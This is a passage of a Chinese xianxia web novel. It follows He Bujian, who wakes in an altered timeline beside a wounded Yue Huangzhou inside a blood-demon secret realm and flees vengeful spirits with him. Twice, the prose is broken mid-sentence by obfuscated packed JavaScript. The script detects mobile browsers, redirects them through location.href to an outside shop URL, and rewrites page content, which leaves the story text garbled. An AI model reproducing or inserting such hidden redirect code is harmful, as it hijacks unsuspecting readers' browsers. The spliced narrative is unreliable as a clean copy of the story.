《还是修仙吧Ⅱ》 3. 血魔 …… 何不见再次恢复意识,眼前跨界传送阵的白光已经亮起。 他不假思索地在第一时间全力展开了紫虚云卷! 毫厘之间,紫虚云卷完全展开,将何不见与越荒州环绕在内,也因此何不见听到了系统全部声音:“注意,已完成新的存档。” 幸好,系统竟然在时空破碎之前完成了存档。 这次有了云卷的完全庇护,何不见依旧无法动弹、思维迟缓,倒不至于像上次一样完全不能思考。 可即使这次能够思考,待他的灵识察觉到那红衣男子是化神修为、身旁的镜子是幻形灵宝时,他还是感到了无法与之抗衡的无力。 不仅仅是一个大境界上的差距,那面幻形灵宝似乎有干扰时光的能力。 时空本就是最为玄奥的道,任何涉及时空的神通道术都极为难对付,更何况是一件涉及时光的灵宝。 能拿到一件能干涉时光的灵宝,对方不可能仅仅只是化神期真君。 昆仑?难道是昆仑的洞微阴阳镜吗? 虚空中,少阳已经又一次催动览宙幻镜,镜面中再次浮现出裂纹。 一次、两次、三次…… 不知多少次后,何不见一边极力给紫虚云卷输入灵力和灵识,一边在心中无数次呼唤系统。 “再来多少次读档也只会循环这一场面,对面也有干涉时间的灵宝!” “系统!” 对面,少阳再次催动览宙幻镜,裂隙开始在时空中蔓延。 就在此时,一阵微妙的、异常的波动自周围的时空中传来。 仿佛有无形的指针卡在虚空中,不断颤动着。 本体身为真仙的少阳敏锐捕捉到了这微妙的波动…… 这是…… 不好! 少阳骇然发现,这次他手中的览宙幻镜镜面内的裂痕竟然向着镜框外蔓延,一直蔓延到了他的身上。 他这边和对面何不见与越荒州的时空都在龟裂…… 在裂痕中,少阳捕捉到了异样的气息,这时他才发现,不知为何裂痕的位置时空竟然比其他地方还要脆弱,仿佛那里被破坏过无数次。 九重城外本就是空间叠着空间,时空尤为混乱脆弱,在览宙幻镜与紫虚云卷的对抗中时空不断承受破坏,再加上那股极为异常的波动…… 咔、咔、咔嚓…… 一声自神魂深处传来的碎裂声炸响,何不见看到周围的时空逐渐崩落,一面巨大的无边无际的日晷烙印在虚空之后的虚空中。 它由空间组成晷面、时间组成晷针,伴随着空间破碎声,那象征着时间的晷针在虚无中,轻轻向后转动了一格。 一声巨大的嗡鸣贯穿了何不见的神魂,他眼前一黑彻底失去了意识。 …… 待何不见再次感知到自己的身体,他猛地放出灵识,发觉自己正躺在一个洞窟里。 他身旁一个人抱剑半靠在岩壁上,闭着眼正在休息。 除了他们二人所在的地方干净而干燥,其余地方都满是血污和泥泞。 “醒了为何不走?”抱剑而坐的人冷冷开口。 何不见缓缓睁眼坐起身,其实不必听声音,刚刚他的灵识扫过周围时,他就知道这位抱剑而坐的人是谁了。 是越荒州。 但是总感觉哪里不对。 何不见与越荒州对上视线后,那种哪里不对的感觉更浓了。 “你在这里,我为什么要走?”他只能试探着回道。 越荒州冷冷注视着何不见,良久,开口道:“难不成,道友认识我吗?” 哈? 何不见这回彻底回了神,他仔仔细细打量着面前的越荒州,一样的素色白衣、一样乌黑无纹的斩渊剑…… 但仔细看来,那种哪里不对的感觉终于让何不见抓住了。 面前的越荒州比他熟悉的越荒州身上的血腥味更浓,气质更为孤寂,若不是刚刚他开口了,何不见还以为面前之人是一块巨石。 回忆起之前的事,何不见顿时意识到,这个时空有问题。 他又被系统送到哪个时间节点了? 何不见只能先改换了下坐姿,在越荒州身边盘膝而坐,将法袍整理了一番。 借由动作,他也整理好了思绪。 “不瞒道友,我确实认识道友,”说着,何不见浅浅笑了起来,“不,应该不止说认识,我应当是除了你自己外,最熟悉你的人了。” 何不见迎上越荒州的目光,在他开口之前继续道:“不过,我遭遇了一些意外,不记得之前发生了什么,也不知道自己身在何处。” “这样吧,道友不如我们来交换问答,我回答一次,你同样要回答一次。” 山洞里一片漆黑,没有丝毫光亮。 反倒是何不见醒来后,他周身的灵力点亮了法衣上的阵法,点点银砾自他的法衣上散发出浅淡的光晕,映亮了一方空间。 虽然漆黑无光的环境,对修士而言没什么阻碍,但人终究也是趋光的,光亮天然会带给人好感。 越荒州注视着盘膝坐在他对面修士,他有一张俊秀清雅的面容,更有一双灵动而温润的眼睛,气质如珠似玉,很容易就让人心生好感。 越荒州本无意和他产生什么瓜葛,但他还是点了点头。 “那我先来问。”何不见捞起手腕上垂下的珠链,捻动着珠子的同时问道,“这里究竟是哪里,之前又发生了什么?” “血魔秘境。”越荒州道,“三年前,天罗世界内的万灵血池忽起风浪,其内与妙有世界的万魔窟相连,形成了一处秘境。” “目前我们所处的,便是这个秘境。” “我在此冥想,你便忽然出现在我身旁,我就把你移动到了干燥的地面上。” 这是哪个时间节点发生的事? 何不见一时怔住了,他来之前确实在九重城内看到过万灵血池产生了异动,但是血魔秘境? 如果真形成了这样的秘境,那必然是能惊动三天万界的大事,不可能只是散修联盟外放的一点简短消息。 相似又不同的事、他不存在的世界……且从刚刚开始,无论他怎么呼唤系统,系统都没有回复,这在之前是从未有过的事。 难不成…… 何不见捻动珠子的手骤然停顿,一个出乎他预料的猜测骤然浮上脑海。 这里是他没有穿越过来的原时间线?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426845|200871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那个越荒州独自修行、一直修至大罗金仙、成就仙尊之位的时空? 注意到何不见的失神和异样,越荒州说到这里停顿了片刻,道:“你的名字,道号,来历?” 他的询问拉回了何不见的思绪,他道:“何不见,道号灵和。” 至于来历…… 何不见不想隐瞒或者欺骗越荒州,但他现在都没有搞懂这个时空,不敢贸然说自己同样出自太无宗,更不敢直说是他的师兄。 何不见想到他们刚拿到的散修玉牌,灵识探了下自己的储物法宝,果然……那玉牌静静躺在那里。 何不见取出玉牌放在掌心,抬眼看向越荒州:“我记不太清了,但是储物法宝里有这个,想来我也只是一介散修罢了。” “是吗?”越荒州淡淡道。 不知为何,何不见莫名有点心虚。 “名字道号来历是三个问题,那你还要回答一个问题……”何不见转移了话题,“我见你已是元婴二魄的修为,为何会狼狈到如此境地?” 这一时空的越荒州修行进度比原本的越荒州要快些许。 刚刚仔细打量越荒州的时候,何不见的灵识就越过了那层白衣,察觉到了其下尚未愈合的几道狰狞伤口,越荒州体内的灵力更是只剩两成。 “难不成这血魔秘境,于元婴修士而言亦十分凶险吗?” 虽然被点破自身状态不佳,越荒州倒没什么反应,只道:“你应该对万灵血池有所了解?” 何不见点了点头。 天罗世界的万灵血池是与妙有世界的万魔窟一样凶名赫赫。 天罗化血宗的真传是《化血炼神大法》,何不见在幻境中也曾短暂修习过这份功法,自然明白其凶狠诡异之处。 《化血炼神大法》可将生灵的神魂、灵智与形体同时“化血”,化为的“血”可以被修习此法的人直接吸收,使得修炼此法的人进境极快。 虽说也可以控制化血的规模和对象,但是又有几个人尝过了快速进境的甜头后,能够克制住疯狂屠戮的欲-望呢? 当初在蜃楼幻境里,闻玉试图炼制的还只是“众生血”,万灵血池之内充盈的可是“万灵血”。 据传这血池便是天罗化血宗开宗立派之人的修行之地,他自万界狩猎万灵,填满了血池,也由此修成了真魔。 而他没有用尽的万灵血依旧留在血池内,其内充满了万灵怨念与凶戾魔气,哪怕是化神真君都不敢深入血池。 越荒州道:“万魔窟内充斥着假形假相,万灵血池内充斥着万灵怨念,二者结合后,使得那些怨念重新获得了虚假的修为和神智,或可称之为怨灵。” “这些怨灵只是借着血魔秘境里的法则,暂且拥有了假形假相,因此他们无比渴望获得真正的躯体。” “只要他们完整吞噬了一个修士的身体、神魂和灵智,便可藉由此地法则,由假形假相转为真形真相。” “也就是……” “死而复生。”何不见立刻理解了越荒州话语中的含义。 怪不得,对于含怨惨死又受困于万灵血池的那些怨念而言,死而复生是多么巨大的诱惑,这样的诱惑足够他们付出一切前去袭击修士。 4. 金顶 “所以,尽快离开吧。”越荒州再次闭上了眼。 黑暗的洞窟中又恢复了安静。 离开? 何不见与本时空唯一的联系就是越荒州,离开又能去哪里? 况且在系统不回复的情况下,他也根本无法“离开”。 何不见再此反观自身,他发觉之前还在他身边的后天灵宝消失不见了。 也对,到达灵宝这一层次,在不同时空具有唯一性。 根本不可能出现一个时空中存在两个紫虚云卷。 此外他储物法宝内的其他东西和身上的法宝倒是都在。 何不见取出了自己常备的用于疗伤和恢复灵力的真元丹,递向越荒州。 越荒州再次睁开眼注视着丹药,却没有接过去。 “依你所言,外面不知徘徊着多少怨灵,不如待你恢复好,我们一同离去。” 何不见取出一粒丹药,在越荒州面前碾碎,感受着丹药内蕴含的灵力向周围散开,碎末在手中很快消失不见。 他在向越荒州证明灵丹确实只是单纯的灵丹。 “有魔修在追杀我,同我一起,除却怨灵之外你还要面对暗处的敌人。”越荒州再次拒绝。 被追杀?说起来越荒州为何会被困在血魔秘境里? 这秘境内的众生血和万魔窟对魔修来说极具吸引力,正道修士按理来说应当避之唯恐不及。 之前的时空,越荒州去赴飞来剑派之约,中途被人伏击只能一路逃亡到万魔窟,后面自己前往与他一道离开万魔窟。 难道因为这个时空没有自己去救越荒州,越荒州便一直被困在万魔窟内,恰巧多年后万灵血池异动与万魔窟忽然贯通,他也就被连带着卷入了血魔秘境? 可是,说到底,到底是谁伏击了越荒州? 赴约路上伏击越荒州的就是那个拿着幻形灵宝的红衣人,越荒州不可能有机会逃脱? 再说那红衣人又为何伏击他们师兄弟二人? 一切都透着古怪。 何不见只能暂时放弃去想红衣人和他来的时空的两次伏击, “追杀?师……道友又是惹到了哪些魔修?”何不见忍不住追问道。 “又?” 何不见只能笑笑,道:“就当另一次交易,我还是觉得独自离去风险太大了,万一我出去就被怨灵围殴了呢?我打算和道友一起行动。” “我刚刚看了眼储物法宝里还有不少灵丹妙药,道友丹药耗尽、我又惧怕独行危险,我们一同行动岂不是正好。” “既然要一起行动,我总得知道究竟是谁追杀道友,对未来可能对付的魔修有点预期。” 越荒州沉默片刻,伸手接过了真灵丹,道:“天罗化血宗。” “我师父萧淡水有一挚友叛出宗门,堕入天罗化血宗。他对我师父旧恨难消,察觉我乃师父徒弟后欲图杀我,反被我诛灭。” “因此我与天罗化血宗结下血仇,被追杀至万灵血池,恰逢万灵血池异动被卷入秘境之内。” “跟在我身后的追兵大概率也被卷入了秘境内,不过对化血宗的魔修而言,万灵血更为重要。他们应该被分散了注意力,前去探索秘境、寻找万灵血了。” 玉轻尘? 越荒州的话倒是让何不见想起了这个他快要忘了的人,原来在他不存在的时间线,故事是这样发展的。 “原来如此。”何不见点了点头,“那待道友恢复之后,我们再寻找离去的机会吧。” 见越荒州服下丹药开始冥想,何不见终于松了口气,眼中再次带上了笑意。 到底没有看上去得那么冷漠无情,该说的还是说了,也接受了丹药。 有了真元丹的辅助,越荒州的灵力快速恢复,连白衣遮盖下的血痕都迅速愈合。 也就在这时,何不见放出的灵识在地面上捕捉到了一股极强的意念波动。 他们所处的干燥地面之外,那满地泥泞的血腥污秽逐渐“沸腾”,向着四周扩散…… “为什么……为什么是我……” “呜呜呜呜……我好恨……好恨啊……” “为什么骗我?为什么骗我?难道从头到尾你做的一切都是假的吗?” “什么是真的……什么是假的……我不想分清……” 一道道强烈的意念如魔音直刺神魂。 何不见看越荒州仍在冥想,不由得伸手放出了紫烟宝珠。 他的本命法器以九皇星辰为纲炼化不同材料作为宝珠,紫烟宝珠正是由可以影响神魂的天材地宝玲珑化紫烟炼制而成。 紫烟宝珠亦可以干涉神魂。 在紫芒的照耀下,那些强烈的意念被大大削弱。 可地面上的血污却像是被激怒了一般,一跃而起,直接扑向两人。 铮—— 一道剑气放出,斩破血污前沿的同时带着血污倒卷而去。 “走。”越荒州睁开眼,向着洞窟深处遁去。 何不见也施展遁术紧随其后。 离开刚刚那处洞窟后,外面的景象更为骇人。 四周的岩壁都被泥泞的血污覆盖,血污中浮现了无数张“脸”,有人面亦有兽面,每张脸孔都咆哮着痛苦、怨恨和不甘。 在最下方,污血已经淤积得连灵识都无法探到底。 血池中屹立着让人头皮发麻的身影,这些影子有的透明有的凝实,凝实和透明又在不停转换。 他们在上方一掠而过之时,血池中有凝实的身影猛地抬头,伸出一双双沾满血污的手,试图抓住他们。 “救救我……救救我……” “不想沉沦在此……” “为什么不救我?” 在这里,何不见接收到的意念更为清晰。 他不想贸然在越荒州面前暴露自己功法同出于太无宗,施展遁术的同时也施展了幻法幻身术用来遮掩。 剑修的遁速本就极快,何不见分心之下,落后了越荒州不少。 极速向前了一段距离后,不仅是下方血池里,连被污血覆盖的四周和上方的洞顶都探出了手臂。 整个洞窟宛如长出无数獠牙的巨口,扭动着想要将两人吞入其中。 何不见眼见前方越荒州离自己越来越远,正想放弃遮掩全力施展遁术时,忽见越荒州的遁光慢了下来。 很快越荒州就来到了他身边,一把握住他的手腕,一道简短地传音传入他耳中:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426846|200871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 专心。” 下一刻,越荒州便带着何不见加速向前方冲去。 轻盈迅捷的遁光穿过那些张牙舞爪的手臂,在何不见的灵识中,被他们甩到后面的手臂交织在一起紧紧追在他们身后,既像血污漩涡又像是某种怒放的食人花朵。 眼见后面的手臂追不上他们,他们前方的手臂也开始互相交织在一起,试图堵住前方的洞窟好将他们堵在洞窟中。 越荒州见此全力催动遁术,硬生生在前方的手臂彻底合控之前,从空隙中穿了过去。 穿过即将合拢的手臂后,他们猛地来到了一处满是金顶红墙建筑的宫殿群内。 与何不见印象中的宫殿相比,这片宫殿群内绿化尤其好,处处是古木藤蔓。 抬头望去,碧翠的藤叶间远处熠熠生辉的金顶依稀可见。 奇怪的是,这里并没有洞窟中的血污,在一片整洁与静谧间透出些许诡异。 “这是……” 何不见与越荒州也终于能停下来喘口气。 经过刚刚的逃亡,何不见对血魔秘境的凶险也有了一定认知,他可不信这里会如此安静美好。 “小心。”越荒州的目光中有紫光一闪而过,“某些怨灵的怨念太过庞大,会虚构出他怨念最重的场景。” 何不见顿时想到他在万魔窟外围看到的景象,当时万魔窟外围便是各式各样虚假的街道。 如今那些假形假相有了真实的怨念作为依托,几近于真实,连灵识都难以看透。 越荒州话音刚落,他们忽然在青玉铺就的甬道内听见了啪、啪的奇怪声音。 灵识也没有探查到实体,只感觉到了一股阴冷的怨念。 那声音,也并不像脚步声。 反倒像是……像是…… 何不见循声望去的同时,召唤出了赤红宝珠与新炼化的玄武宝珠——前者用于攻击、后者用于防御。 像是濒死的鱼在岸上拍动尾巴发出的声音。 在何不见与越荒州的注视中,一双手臂自甬道尽头的拐角探出,接着重重砸在地上发出“啪”的一声。 那双手臂用力,将他的上半身拖拽了出来。 接着再次抬起手臂向前,猛地将身体向前一拖…… 奇异的是,他的下半身并不是双腿,而是一条粗壮的蛇尾。 那人勉强爬到转角,转身向着何不见与越荒州的方向继续艰难地爬着…… “王……王……” 转过来的他露出了生有竖瞳和鳞片的脸。 他就像是没有看到何不见与越荒州一样,一边喃喃自语一边往前爬…… 怨灵吗? 何不见灵觉感知到的那团阴冷能量就是他。 蛇尾、人身……这些加起来,能修出半个人身起码有筑基期的修为。 然而让何不见头皮发麻的是,他的感知中出现了密密麻麻的阴冷能量体。 就在他在地上缓慢移动的时候,甬道尽头探出了一双、两双、三双……许许多多双手臂。 他们上半身大多维持着人类的模样,下半身不论修为都显露着蛇尾。 他们以一种扭曲而痛苦的姿势,一点一点地朝着翠叶掩映的金顶爬去。